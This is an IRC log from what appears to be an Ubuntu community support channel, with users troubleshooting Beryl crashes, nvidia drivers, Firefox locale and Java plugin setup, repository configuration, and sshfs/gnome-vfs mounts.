[08:28] <Skat> JoshJ: ok, I had to drop back to that, fglrx was a dog
[08:28] <tweakism> nevermind, found it
[08:28] <Rocky12> hello does anyone know how can i change th elanguage of FIREFOX?
[08:28] <JoshJ> hm
[08:28] <Skat> JoshJ: And xgl was so slow it was unusable
[08:28] <JoshJ> not sure, Rocky12 :(
[08:28] <JoshJ> Skat : where would i check xgl vs aiglx?
[08:28] <Skat> JoshJ: was hoping you may have found a way to make it work - I have a 9800Pro
[08:29] <Rocky12> does anyone know
[08:29] <sanitarium> seems ubuntu did update to gnome today and now beryl crashes
[08:29] <stefg> Rocky12: if you have the complete lang-support packages for your language installed firefox should be in your language (if that locale is available)
[08:29] <sanitarium> anyone else see this
[08:29] <Skat> JoshJ if you start beryl-manager from command line it has a look for what you've got and prints it in the terminal
[08:29] <daedra> -Ziq
[08:29] <nemo_work> Anyone here using gnome mind testing gnome-vfs + ssh under ubuntu?
[08:29] <Rocky12> Rocky it is not in my language :S
[08:29] <nemo_work> Would like to at least find out if it is just me.
[08:29] <Rocky12> oops
[08:29] <v> trappist: is Suns ver more stable than Berly? HAve a black screen  daily is kinda of bad... Im getting a Intel 128mb integrated graphic, would that have issues like your navida?
[08:29] <JoshJ> i've got aiglx
[08:29] <pike_> anyone hear any news on better ati drivers since amd bought 'em or was that wishful thinking?
[08:29] <Rocky12> stefg it is not in my language :S
[08:29] <trappist> sanitarium: there is a version of gconf that breaks beryl, maybe that's it
[08:29] <titacgs> pike_, yes i used cups to install it but it doesn't work :(
[08:30] <pike_> amd
[08:30] <sanitarium> Trappist
[08:30] <JoshJ> and.. things aren't working properly :P
[08:30] <sanitarium> i see
[08:30] <yrlnry> How do I regenerate /etc/printcap from /etc/cups/printers.conf ?
[08:30] <stefg> Rocky12: s waht is your language?
[08:30] <trappist> v: black window, not black screen, and I only used looking glass long enough to decide it was way too slow
[08:30] <pike_> titacgs: does it support postscript?
[08:30] <sanitarium> Trappist can i fix it
[08:30] <trappist> v: and no, the intel drivers work pretty well
[08:30] <Rocky12> stefg spanish
[08:30] <Skat> JoshJ but basically unless you've installed xgl then you're not using it!
[08:30] <tim167> whereis apt-on-cd ?
[08:30] <trappist> sanitarium: you'd have to either upgrade or downgrade gconf, if that's the problem
[08:30] <JoshJ> Skat: yeah, i'm on AIGLX apparently
[08:30] <Skat> ok
[08:30] <JoshJ> like i said, it was a while back
[08:31] <sanitarium> trappist, how do i downgrade on ubuntu
[08:31] <JoshJ> tim167: you can set a cdrom repository in the synaptic package manager if you want
[08:31] <trappist> sanitarium: you don't
[08:31] <apokryphos> ubotu: downgrade
[08:31] <ubotu> Attempting to downgrade to an older Ubuntu version is explicitly not supported, and may break your system.
[08:31] <sanitarium> i see
[08:31] <JoshJ> i think it simplifies the process, but never done it
[08:31] <trappist> sanitarium: I'd be surprised if ubuntu did an upgrade to gconf and got the one version that's severely busted, though
[08:31] <pike_> titacgs: about the only thing you can do is play with different drivers i guess
[08:31] <tim167> JoshJ, so I can install an ISO made with apt-on-cd like that?
[08:32] <sanitarium> how do i check what was last thing installed?
[08:32] <sanitarium> i cant find the logs
[08:32] <JoshJ> no idea :\
[08:32] <tweakism> hrm, anybody? :P
[08:32] <sanitarium> no sure where to look
[08:32] <trappist> sanitarium: come to think of it, you probably just need to recompile
[08:32] <tweakism> server-expert at the prompt doesn't work as F1 says, nor does server
[08:32] <trappist> sanitarium: beryl, I mean
[08:32] <titacgs> pike_, the recommended driver is hpijs, which is the one i installed
[08:32] <sanitarium> trappist,
[08:32] <sanitarium> crap
[08:32] <v> trappist: Darn now its a decision to sacrifice RAms for those effects, What your ram? Im using 512MB and im a multi user so I hate to get lags in my Laptop.. do u?
[08:33] <tim167> JoshJ: actually i want to install everything from one system to another, aptonCD is a way to do  it, maybe there are others, but now i'm looking for the installer of aptonCD
[08:33] <optx> can somebody help me with GL Desktop on 6.10 ? I installed it, but i dont get that 'cube' thing ..
[08:33] <sanitarium> http://www.ubuntuforums.org/showthread.php?t=263851
[08:33] <JoshJ> hm
[08:33] <sanitarium> is that still current
[08:33] <JoshJ> i wonder if there's a way to just list all the installed packages
[08:33] <trappist> v: beryl doesn't use a lot of ram except video ram.  I run it at home with 512mb just fine
[08:33] <JoshJ> because that would make it a lot easier
[08:33] <JoshJ> just do a massive apt-get :P
[08:33] <CheshireViking> sanitarium: the upgrades today were linux-restricted-modules, linux-restricted-modules-common, nvidia-glx and xser-xorg.core, there's no problem with the update for me, but i don't use beryl
[08:33] <sanitarium> joshj me too
[08:33] <trappist> sanitarium: I'm stuck in a console at the moment, can't check it out :)
[08:33] <sanitarium> k
[08:33] <tweakism> dpkg -l lists all installed packages
[08:34] <tim167> JoshJ: never mind , i found the binary
[08:34] <stefg> Rocky12: sudo apt-get install mozilla-firefox-locale-es
[08:34] <JoshJ> ok, what's the difference between ii and rc there?
[08:34] <trappist> sanitarium: that upgrade could also break beryl - until you reinstall
[08:34] <tweakism> ii is installed.
[08:34] <trappist> sanitarium: or you may just need to reboot
[08:34] <JoshJ> so what you really want is dpkg -l | grep ^ii   , ?
[08:34] <tweakism> rc I dunno :P
[08:34] <stefg> Rocky12: sudo apt-get install *mozilla-firefox-locale-es-es* for castellano, -ar for argentinian region
[08:34] <n2diy> ! bugs
[08:34] <ubotu> If you find a bug in Ubuntu or any of its derivatives, please file a bug report at: http://bugs.ubuntu.com/  -  Bugs in/wishes for the bots can be filed at http://launchpad.net/products/ubuntu-bots
[08:34] <tim167> what I'd really want to do is make a complete installer ISO from my current system, all apps and libs and whatnot's included, can that be done?
[08:34] <v> trappist: fantastic!
[08:35] <Rocky12> stetfg any idas?
[08:35] <JoshJ> tim167: i'd say "yes but i have no idea how"
[08:35] <sanitarium> lol
[08:35] <sanitarium> i fiqured it out
[08:35] <sanitarium> its the nvidia drivers
[08:35] <JoshJ> mainly because if there isn't already a way, you could theoretically make a way :p
[08:35] <sanitarium> after kernel change i never rebooted till now
[08:35] <trappist> sanitarium: yeah that'd be from the l-s-m upgrade.  a reboot should fix that.
[08:35] <Doow> I'm having problem with flashplugin-nonfree, everything seems to work during installation except that it exits with: "automatic installation failed due to network problems or upstream changes"
[08:36] <JoshJ> Doow: just get the flash 9 beta off the adobe website
[08:36] <JoshJ> all you have to do is put the libflashplayer.so file into the plugins folder of your mozilla directory
[08:36] <stefg> !flash9 | Doow
[08:36] <ubotu> Doow: flash9 is available from dapper-backports and edgy-backports now, see !backports
[08:36] <tim167> problem installing Apt-On-CD: dependancy unsatisfyable: python-dbus , any ideas
[08:37] <JoshJ> er
[08:37] <v> Anyone owns a blog or website? Mind throwing some Vids on your Ubuntu usage, It would help get more ppl interested and familar as they see how simple its gonna be to transit to Ubuntu
[08:37] <Rocky12> stefg any ideas?
[08:37] <modulus> how good is support for realtek high definition audio under ubuntu?
[08:37] <stefg> Rocky12: sudo apt-get install *mozilla-firefox-locale-es-es* for castellano, -ar for argentinian region
[08:37] <JoshJ> tim167: try apt-cache search python-dbus
[08:37] <JoshJ> because it's there for me
[08:37] <sanitarium> trappist, i did reboot and now its broke
[08:37] <JoshJ> it's possible that it's in a repository you don't have enabled
[08:37] <sanitarium> lol
[08:37] <Doow> hmm.. edgy-backports, what's the apt line for that? =)
[08:37] <trappist> sanitarium: what's broke
[08:37] <apokryphos> ubotu: repositories
[08:37] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[08:37] <sanitarium> beryl because nvidia is
[08:37] <Rocky12> it tells me it doesnt exist! stefg
[08:37] <sanitarium> i did glxgears
[08:37] <tim167> JoshJ: no return
[08:37] <sanitarium> and X crashes
[08:38] <JoshJ> tim167: hang on
[08:38] <trappist> sanitarium: did you install linux-restricted-modules?
[08:38] <stefg> !mozilla-firefox-locale-es-es
[08:38] <ubotu> mozilla-firefox-locale-es-es: Mozilla Firefox Spanish; Castilian language/region package. In component main, is optional. Version 2.0~rc3ubuntu1-1 (edgy), package size 157 kB, installed size 676 kB
[08:38] <trappist> sanitarium: for the new kernel, I mean
[08:38] <JoshJ> i'll tell you what repo it's in
[08:38] <sanitarium> trappist, i installed whatever was in the updater
[08:38] <stefg> Rocky12: your sources.list seems broken
[08:38] <stefg> !easysouce
[08:38] <ubotu> Sorry, I don't know anything about easysouce - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:38] <stefg> !easysource | rocky12
[08:38] <ubotu> rocky12: source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic
[08:38] <modulus> oy, how noisy.
[08:39] <trappist> sanitarium: what does `glxinfo | grep rendering` say
[08:39] <K1GPL> why have i started gettting logged off and system put to sleep recently?
[08:39] <K1GPL> its a real pain the ass
[08:39] <n2diy> I just did an update, and a system reboot is now required. I'd rather not loose my uptime, would doing init 1, and then init 5 be sufficent?
[08:39] <stefg> n2diy: no
[08:39] <modulus> uptime fetish?
[08:39] <music_> I SOLVED IT YAY MY VIDEO CARD WORKING YAY
[08:40] <n2diy> stefg: :/
[08:40] <JoshJ> hm
[08:40] <JoshJ> synaptic doesn't show which repo it's in? :(
[08:40] <modulus> anyone knows if the laptop sound card realtek high definition audio is well supported?
[08:40] <n2diy> stefg: is there anyway to preserve my uptime?
[08:40] <stefg> !hardware | modulus
[08:40] <ubotu> modulus: For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport
[08:40] <tim167> JoshJ: aynaptic doesnt find anything on python-dbus
[08:40] <JoshJ> n2diy: fake the log
[08:40] <music_> direct rendering: Yes
[08:40] <modulus> without its own driver i suspect it's going to sound quite bad because on windows it didn't work well until i tweaked with driver.
[08:40] <sanitarium> trappist, X crashed
[08:40] <music_> :)
[08:40] <JoshJ> tim167: that's because you don't have the right repo and i do
[08:41] <JoshJ> i'm trying to find which repo it is
[08:41] <sanitarium> when i did that line
[08:41] <sanitarium> and i had to log in again
[08:41] <trappist> sanitarium: well that's no good :)  check out /var/log/Xorg.0.log and search for (EE)
[08:41] <JoshJ> i suppose you may want to enable universe/multiverse/whatever
[08:41] <n2diy> JoshJ: What log?
[08:41] <JoshJ> n2diy: whatever it is you're logging to brag about your uptime with ;[
[08:41] <tim167> JoshJ: I thought they were enabled, i'll double check
[08:41] <JoshJ> uptime bragging = you have a small e-penis
[08:41] <stefg> lol
[08:41] <IndyGunFreak> joshJ, what are you looking for again
[08:42] <JoshJ> the repository python-dbus is in
[08:42] <Skat> e-penis hahaha
[08:42] <stefg> i-penis for Mac owners, that is
[08:42] <JoshJ> no, that's iPenis
[08:42] <IndyGunFreak> lol, you gotta admit, thats kinda funny
[08:43] <JoshJ> ok so
[08:43] <modulus> not much info on the wiki. anfortunately i can't determine my sound card chipset.
[08:43] <Crankymonky> Can anyone tell me how I would go about compiling NinJam(www.ninjam.com) ?  Running the Makefile as root yielded only errors, am I doing somethign wrong?
[08:43] <pike_> "apt-cache search python dbus"
[08:43] <modulus> only its commercial name.
[08:43] <JoshJ> er, it's python-dbus
[08:43] <JoshJ> but whatever
[08:43] <stefg> !build | Crankymonky
[08:43] <ubotu> Crankymonky: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)
[08:43] <JoshJ> http://rafb.net/p/wbvX2491.html  <- tim167 , this is my sources.list, but copying this exactly is probably a bad idea mainly because i've got some stuff that's out of date
[08:43] <IndyGunFreak> josh, i just found it in synaptic, how can i tell what repo its in?
[08:43] <Crankymonky> stefg, thanks
[08:43] <JoshJ> IndyGunFreak: dunno, that's what i was looking for
[08:43] <JoshJ> >_<
[08:44] <IndyGunFreak> oh i see..
[08:44] <JoshJ> because i see it in synaptic and have no idea what repo it's in
[08:44] <v> Ill take my leave tks for the Share guys... Its a great comm ill be back..
[08:44] <IndyGunFreak> JoshJ, my guess is, its in one of the core repos, but thats just a guess.
[08:44] <tim167> JoshJ: i have all multiverse and universe entries enabled...
[08:45] <pike_> apt-cache madison packagename   <--- is handy
[08:45] <deoryp> jrib: i did that but it is not showing up in firefox, even after i copied the .so files into /plugin dir for firefox (in every place i could find)
[08:45] <stefg> !easysource | tim167
[08:45] <JoshJ> ah, thank you
[08:45] <IndyGunFreak> Says the maintainer is Ubutu Core Developers,
[08:45] <ubotu> tim167: source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic
[08:45] <IndyGunFreak> JoshJ, can't say for sure,
[08:45] <deoryp> i would like to ask someones help to get java-runtime env connected to firefox, i have already installed everything from apt
[08:45] <JoshJ> http://rafb.net/p/jhiRCW95.html
[08:45] <jrib> deoryp: did you restart firefox?
[08:45] <pike_> dont ask me who madison is..
[08:45] <JoshJ> there you go tim167
[08:45] <sanitarium> trappist, i think i fiqured it out
[08:45] <JoshJ> it's in main apparently
[08:45] <JoshJ> in edgy
[08:45] <nemo_work> meh. one more time. anyone here using ubuntu stable and willing to help me test gnome-vfs + ssh
[08:45] <sanitarium> be back
[08:45] <yrlnry> Is there an environment variable that overrides the default printer for the CUPS "lp" command?
[08:46] <yrlnry> No environment variables are documented.
[08:46] <deoryp> jrib yep, nothing
[08:46] <nemo_work> yrlnry: yes
[08:46] <IndyGunFreak> how do you do something similar to "End Task" when an Application freezes up, Xubuntu 6.10
[08:46] <tim167> JoshJ, sorry I was distracted, where do I go ?
[08:46] <JoshJ> nemo_work : what exactly would i have to do? (on edgy)
[08:46] <jastarafi`> that's a secret
[08:46] <Scrippie> private
[08:46] <yrlnry> nemo_work: What is the variable?
[08:46] <JoshJ> tim167 : http://rafb.net/p/jhiRCW95.html
[08:46] <JoshJ> IndyGunFreak : ps -e then kill the PID
[08:46] <JoshJ> or killall appname (ex: killall firefox)
[08:46] <IndyGunFreak> ps -e?
[08:46] <jrib> deoryp: ok pastebin:  ls -l /usr/lib/firefox/plugins/ && readlink -f $(which firefox)
[08:46] <JoshJ> yes
[08:46] <IndyGunFreak> hmm,
[08:46] <trappist> JoshJ: it would be firefox-bin
[08:46] <deoryp> jrib i am using firefox 2.0 do you thing that matters?
[08:46] <JoshJ> ah, true
[08:47] <nemo_work> or rather, I should say, I'm sorry, that you can override the default on the commandline. my apologies.
[08:47] <jrib> deoryp: what version of ubuntu?
[08:47] <IndyGunFreak> well, it only happens on occasion with Open Office, if I double click a word file, it will freeze while loading up
[08:47] <namensindaus> is there a german channel?
[08:47] <tim167> JoshJ: aha, thanks
[08:47] <jrib> !de | namensindaus
[08:47] <ubotu> namensindaus: Deutschsprachige Hilfe fuer Probleme mit Ubuntu, Kubuntu und Edubuntu finden Sie in den Kanaelen #ubuntu-de, #kubuntu-de, #xubuntu-de und #edubuntu-de
[08:47] <JoshJ> on gnome there's a gnome panel that does it
[08:47] <JoshJ> gnome-system-monitor
[08:47] <nemo_work> don't see, frankly, what you'd need the variable for :)  either change it in conf or on commandline
[08:47] <stefg> !de namensindaus
[08:47] <IndyGunFreak> but if I Open up OpenOffice, then File/Open thefile, it opens no probl
[08:47] <ubotu> Sorry, I don't know anything about de namensindaus - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:47] <JoshJ> i *believe* there's something similar on Xubuntu
[08:47] <stefg> !de | namensindaus
[08:47] <trappist> nemo_work: I forgot who you're talking to, but there's a cups config directive that'll do it
[08:47] <deoryp> jrib i am using Dapper, http://pastebin.ca/314462
[08:47] <IndyGunFreak> JoshJ, yeah, i know how to do it in Gnome, having trouble finding how to do it in Xfce
[08:47] <JoshJ> i even have ctrlaltdel on my box set up to load the gnome-control-panel
[08:47] <stefg> !de | namensindaus
[08:48] <ubotu> namensindaus: Deutschsprachige Hilfe fuer Probleme mit Ubuntu, Kubuntu und Edubuntu finden Sie in den Kanaelen #ubuntu-de, #kubuntu-de, #xubuntu-de und #edubuntu-de
[08:48] <nemo_work> trappist: aye. or just pass the printer name when printing
[08:48] <JoshJ> go the only good shortcut key windows has
[08:48] <trappist> nemo_work: right, lp -d
[08:48] <jrib> deoryp: ah ok, so how did you install firefox 2.0?
[08:48] <deoryp> jrib manually
[08:48] <jrib> deoryp: yes, into /opt?
[08:48] <nemo_work> alrighty.  clearly this channel is too noisy for help requests to be efficiently transfered.
[08:48] <JoshJ> nemo_work : i said i'm on edgy
[08:48] <JoshJ> what do i have to do to help?
[08:48] <deoryp> jrib i don't know that /opt is
[08:49] <nemo_work> JoshJ: ok. I read that but had no idea it was related to me :-p
[08:49] <JoshJ> oh heh
[08:49] <JoshJ> sorry
[08:49] <jrib> deoryp: where did you install firefox 2.0 into?
[08:49] <K1GPL> JoshJ:  why, too much caffein?
[08:49] <nemo_work> JoshJ: I'd like to test an ssh mount over gnome-vfs
[08:49] <nemo_work> JoshJ: Places->Connect to Server selecting a type of ssh
[08:49] <nemo_work> seems to be failing on my mom's ubuntu machine, but not my gentoo one
[08:49] <deoryp> jrib i installed it into /usr/lib/firefox
[08:49] <JoshJ> server?
[08:49] <jrib> deoryp: ouch
[08:49] <nemo_work> JoshJ: any server you like
[08:49] <nemo_work> JoshJ: tested with localhost and my personal one
[08:49] <JoshJ> ah ok
[08:50] <deoryp> jrib would upgrading above dapper help me?
[08:50] <nemo_work> can't get gnome-vfs + ssh to work, period
[08:50] <JoshJ> it's not... doing anything
[08:50] <JoshJ> i take it that's the bug?
[08:50] <Skat> deoryp /usr/lib/firefox/plugins/ ??
[08:50] <jrib> deoryp: you usually want to install custom things into /usr/local/ or /opt
[08:50] <nemo_work> JoshJ: just sitting there with a wait dialog?
[08:50] <JoshJ> no, actually
[08:50] <nemo_work> try doubleclicking on the link on desktop
[08:50] <nemo_work> that one gives me wait dialog
[08:50] <nemo_work> one in menu does nothing besides password prompt
[08:50] <JoshJ> ah, i see
[08:50] <deoryp> Skat there is a pastebin: http://pastebin.ca/314462
[08:50] <IndyGunFreak> i know frostwire/Limewire are basically the same thing
[08:51] <nemo_work> doubleclicking on desktop doesn't hit the server, so the gnome screwup is ahead of that
[08:51] <JoshJ> works perfectly for me
[08:51] <jrib> deoryp: pastebin the page you get when you enter  "about:plugins" in your browser
[08:51] <JoshJ> sorry
[08:51] <JoshJ> :\
[08:51] <nemo_work> JoshJ: oh. darn.
[08:51] <nemo_work> *sigh*
[08:51] <JoshJ> annoying though
[08:51] <deoryp> jrib it was a pain in the butt getting firefox installed and not having apt install over it
[08:51] <nemo_work> JoshJ: do you know what package provides gnome vfs so I can compare versions?
[08:51] <JoshJ> it takes me to root instead of the folder
[08:51] <regeya> ls
[08:51] <regeya> *whoopsie*
[08:51] <JoshJ> (my home folder)
[08:51] <IndyGunFreak> Frostwire/Limewire the same thing, but do they access the sae peers, in otherwords, can I download something using frostwire, from someone who uses limewire..
[08:51] <jrib> deoryp: yep, that's exactly the reason to use /usr/local or /opt :)
[08:51] <taser> Does anyone have experience seeting up a MediaWiki installation?
[08:51] <JoshJ> which is annoying because my school server has an odd location for my home dir
[08:51] <nemo_work> JoshJ: meh, whatever. I'd be thankful just to connect
[08:51] <JoshJ> but ANYWAY
[08:51] <sanitarium> trappist and the rest thanks a bunch i fixed it .. all it took was a re-install of nvidia
[08:51] <linxeh> is there a java5 package for PPC ubuntu?
[08:52] <sanitarium> thanks again
[08:52] <deoryp> jrib: http://pastebin.ca/314467
[08:52] <taser> Does anyone have experience setting up a MediaWiki installation?
[08:52] <trappist> sanitarium: ossum
[08:52] <pike_> nemo_work: doesnt "sudo apt-get install sshfs; sudo modprobe fuse; sshfs bob@192.168.1.3: /mnt/bobsdir -o allow_other" work?
[08:52] <MarcN> taser: did you get mediawiki setup?  It was pretty straight forward.  I took the tar.gz approach.
[08:52] <stefg> nemo_work: 1.) thanks for the inspiration... you unknowingly solved a prob for me. 2.) sshfs works for me on dapper in my LAN
[08:52] <sanitarium> trappist, well work is calling so im out
[08:52] <JoshJ> nemo_work check your PM
[08:52] <deoryp> jrib as you can see, all plugins are showing up except the java ones
[08:52] <nemo_work> pike_: ssh works, so I imagine FUSE would work too
[08:52] <linxeh> taser: yes, pretty painless. I installed from the mediawiki svn tree because the one in the ubuntu repos is so out of date
[08:52] <nemo_work> pike_: I've been trying to avoid FUSE
[08:52] <sanitarium> trappist, later
[08:53] <nemo_work> pike_: for my mom's purposes it is in fact not ideal.  Even though I am not at all a fan of VFS in general
[08:53] <jrib> deoryp: k, do this: close all firefox, then run 'ps -ef | grep firefox-bin'.  Do any processes show up?
[08:53] <stefg> nemo_work: did you apt-get sshfs?
[08:53] <linxeh> taser: took me about 10 minutes at most. you need apache2, php5, and mysql for the latest releases
[08:53] <Rocky12> Err http://es.archive.ubuntu.com edgy/main Packages
[08:53] <Rocky12>   El subproceso gzip devolvi un cdigo de error (1)
[08:53] <nemo_work> stefg: don't wanna :-p
[08:53] <JoshJ> nemo_work check your PM
[08:53] <Rocky12> it tells me it cant find mozilla-locale-es-es
[08:53] <Rocky12> cud that be the reason?
[08:54] <JoshJ> probably
[08:54] <pike_> nemo_work: ah ok.  well you could always make a script on desktop with some prompts for input but thats not very pretty either..
[08:54] <JoshJ> try mozilla-locale-es - Mozilla Spanish Language/Region Package (dummy package)
[08:54] <JoshJ> apt-get install mozilla-locale-es and hope it gets the -es-es
[08:54] <JoshJ> you may need to enable the Universe repository, Rocky12
[08:54] <nemo_work> pike_: main issue with FUSE is that it can be flaky if either end drops the link, at times.
[08:54] <tim167> to enter "http://us.archive.ubuntu.com edgy/main Packages" to my sources.list, I just add the line "deb http://us.archive.ubuntu.com edgy/main Packages" ? this doesnt seem to work (I might add, this is on a dapper installation)
[08:54] <MerlynC> I currently have a nvidia chipset board installed with the following sound card "00:04.0 Multimedia audio controller: nVidia Corporation CK804 AC'97 Audio Controller (rev a2)". I read that ALSA and NVidia are already precompiled into the kernel and should work "out of box" I am showing that the card "works" by ability to change volume controls ect but I do not hear anything out of my speakers
[08:54] <Rocky12> that worked
[08:54] <nemo_work> pike_: I can probably get it setup with certs, but ideally gnome-vfs should offer prettier prompts
[08:54] <JoshJ> whoa tim167
[08:54] <Rocky12> now how do I put it?
[08:54] <deoryp> jrib : i get this when i start firefox
[08:55] <JoshJ> you don't want an edgy repo on dapper
[08:55] <deoryp> jrib : http://pastebin.ca/314469
[08:55] <nemo_work> pike_: also, it wouldn't try to do annoying things like call the thumbnail generator
[08:55] <Rocky12> JoshJ is enabled already
[08:55] <JoshJ> Rocky12 are you on dapper or edgy?
[08:55] <nemo_work> pike_: I've had lots of problems with gnome vfs but this is definitely a new one, and since it works for Josh, time to start comparing package versions
[08:55] <tim167> JoshJ: so I have to install Edgy to get AptOnCd ?
[08:55] <Rocky12> edgy
[08:55] <mnoir> tim167: not to butt in but why are you adding an edgy repositories to a dapper system?
[08:55] <jrib> deoryp: remove all the java links you placed
[08:55] <JoshJ> tim167: it's possibly but seems unlikely
[08:55] <pike_> nemo_work: ok. my experience with fuse is limited to occational use
[08:55] <JoshJ> worst case scenario you can compile python-dbus from source
[08:55] <Rocky12> main repository seems not to work....
[08:55] <JoshJ> most likely there's a deb somewhere
[08:55] <JoshJ> !easysource
[08:55] <ubotu> source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic
[08:55] <JoshJ> try that i guess, Rocky12
[08:56] <Rocky12> what?
[08:56] <jrib> deoryp: libjavaplugin.so is supposed to be a symlink but yours doesn't seem to be
[08:56] <Rocky12> ah
[08:56] <nemo_work> welp. thanks y'all. this place is too noisy for me, so I'm going to run away.
[08:56] <tim167> mnoir: I need python-dbus, cant find it in repos
[08:56] <MerlynC> I currently have a nvidia chipset board installed with the following sound card "00:04.0 Multimedia audio controller: nVidia Corporation CK804 AC'97 Audio Controller (rev a2)". I read that ALSA and NVidia are already precompiled into the kernel and should work "out of box" I am showing that the card "works" by ability to change volume controls ect but I do not hear anything out of my speakers
[08:56] <nemo_work> maybe you should split into #ubuntu-gnome #ubuntu-server etc. :)
[08:56] <Rocky12> shall I download firefox in my language and install it?
[08:56] <daedra> nemo_work: try ubuntu-offtopic
[08:56] <JoshJ> i think #ubuntu-edgy and #ubuntu-dapper would be a better choice
[08:56] <Rocky12> or that would install i tsomewhere else or sth
[08:56] <Rocky12> ?
[08:56] <mnoir> tim167: so you're going cross-release?
[08:56] <JoshJ> because i'm on edgy and trying to help people in dapper can mess people up sometimes :(
[08:56] <j3di> is there a way to change cron so it uses the local time instead of UTC?
[08:57] <Rocky12> huh
[08:57] <tim167> mnoir: hmm, dunno...or is it hard to upgrade the dapper one to edgy ?
[08:57] <JoshJ> !wifi
[08:57] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[08:57] <deoryp> jrib : now i only get this: http://pastebin.ca/314472
[08:58] <stormchas3r> I have 2 drives and i want to make one big one with LVM, how do I do this?
[08:58] <JoshJ> i'll be asking about that later i suspect
[08:58] <swarog> hey, i got intel pro wifi 3945abg and ubuntu edgy 6.10. dmesg show card is detected. but device is not available
[08:58] <JoshJ> heh
[08:58] <JoshJ> swarog , join the club, wifi sucks :(
[08:58] <deoryp> jrib : a locate on that file: http://pastebin.ca/314474
[08:58] <taser> FF is wanting to download a PHTML file when I try opening the MediaWiki directory. Any ideas as to what I did wrong?
[08:58] <jrib> deoryp: ls -l /usr/lib/firefox/plugins/*java*
[08:59] <mnoir> tim167: again, i hope this isn't old territory but,  1.  cross release is not tested so you are waaay on your own as far as whether it will work.  2.  the safer method is to decide what release you need and stick to it :)
[08:59] <deafboy> can anyone help me get my sound card working, ubuntu detects it?
[08:59] <JoshJ> mnoir: he wasn't intending to crossrelease i don't think
[08:59] <deafboy> i have the codecs installed
[08:59] <tim167> I have two systems, one is Edgy, one is Dapper, I want to make the Dapper as similar as possible to the Edgy one
[08:59] <deoryp> jrib no file can be found
[08:59] <jrib> deoryp: we should check ~/.mozilla/plugins/ as well
[08:59] <pike_> swarog: best bet is search ubuntuforums.org for your card.
[08:59] <tim167> mnoir  ^
[08:59] <JoshJ> mnoir: he was looking for the python-dbus thing and apparently it's in an edgy repo
[08:59] <mcphail> stormchas3r: http://www.debian-administration.org/articles/410
[08:59] <stefg> !ping
[08:59] <ubotu> pong
[08:59] <JoshJ> mnoir: and i didn't realize he was on dapper and gave him my sources info
[08:59] <Crankymonky> When I was compiling NinJam, there was no configure file and when I sudo make'd I get this http://paste.ubuntu-nl.org/1329/
[08:59] <aluno_> don't speak portuguese
[09:00] <stormchas3r> mcphail, ty
[09:00] <Crankymonky> por que no portuguese?
[09:00] <mnoir> JoshJ: !!!
[09:00] <deoryp> jrib there was a libjavaplugin_oji.so in there, i killed it
[09:00] <jrib> !pt | aluno_
[09:00] <deafboy> anyone with sound card issues?
[09:00] <ubotu> aluno_: Por favor use #ubuntu-br  ou #ubuntu-pt  para ajuda em portugus. Obrigada.
[09:00] <JoshJ> mnoir: i don't think he set it up yet
[09:00] <aluno_> porque nao nao falo enguel
[09:00] <JoshJ> so probably not a problem
[09:00] <pike_> swarog: dmesg shows a device name? but you cant sudo ifconfig name up?
[09:00] <deoryp> jrib there was a libjavaplugin_oji.so in there, i killed it  <-- ~/.mozilla/plugins
[09:00] <JoshJ> tim167: look to see if there's a .deb of python-dbus somewhere (google or whatever)
[09:00] <swarog> pike_: exactly
[09:00] <jrib> deoryp: ok, now firefox probably starts without error but still no java right?
[09:00] <modulus> my sound card is an interesting one, we shall see if it works.
[09:00] <swarog> pike_: looks like ndiswrapper didnt load the driver
[09:00] <JoshJ> and if not you can probably compile it from source if you have all its dependencies
[09:01] <swarog> pike_: ndiswrapper -l shows no driver
[09:01] <deoryp> jrib ok no error
[09:01] <jrib> deoryp: ok reinstall sun-java5-plugin
[09:01] <swarog> pike_: i found in /lib/firmware ipw3945.ucode. is that driver?
[09:01] <mnoir> JoshJ: i suspect that compile from source is a better bet than a .deb that is not built for 6.06 :)
[09:01] <OrangeOrange> hey guys... my dell laptop in xp can display at least 1280x800, but ubuntu dont have options to display that size.. Hhelp?
[09:01] <pike_> swarog: ah. sorry ive never used ndiswrapper. i even found an old external modem for dialup use so i wouldnt have to fool with the winmodem
[09:01] <JoshJ> mnoir: proooooobably a good choice
[09:01] <stefg> !fixres | OrangeOrange
[09:01] <ubotu> OrangeOrange: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[09:02] <aluno_> falows
[09:02] <Crankymonky> When I was compiling NinJam, there was no configure file and when I sudo make'd I get this http://paste.ubuntu-nl.org/1329/
[09:02] <JoshJ> that said they may have ubuntu .debs on the python site or whatever
[09:02] <JoshJ> Crankymonky: sudo make? wtf?
[09:02] <mnoir> oh - I see  (thanks rioghal)
[09:02] <JoshJ> it's make then sudo make install
[09:02] <deafboy> Can anyone help me get my sound card working, the drivers / codecs are installed
[09:02] <deoryp> jrib ok, i had to remove it and then reinstall it with apt. done.
[09:02] <Crankymonky> Josh, did I do somethign wrong?
[09:02] <jrib> deoryp: ls -l /usr/lib/firefox/plugins/*java*
[09:02] <mnoir> Crankymonky: you should not sudo make
[09:02] <Crankymonky> Just remove the sudo*
[09:02] <tim167> JoshJ,mnoir, maybe its no use trying aptoncd to port stuff from my edgy to my dapper..., but I wonder, can I change the dapper into Edgy without erasing the entire disk ? (the dapper one has files, tweaks, and apps I want to keep)
[09:02] <JoshJ> Crankymonky: i believe just plain "make" should not be done as sudo
[09:03] <JoshJ> !upgrade
[09:03] <ubotu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[09:03] <JoshJ> there you go tim
[09:03] <Crankymonky> Ya, that was a typo on my behalf
[09:03] <JoshJ> there is a way to go dapper-> edgy
[09:03] <Crankymonky> I didn't actually sudo
[09:03] <Enselic``> When I start Emacs, the characters are messed up
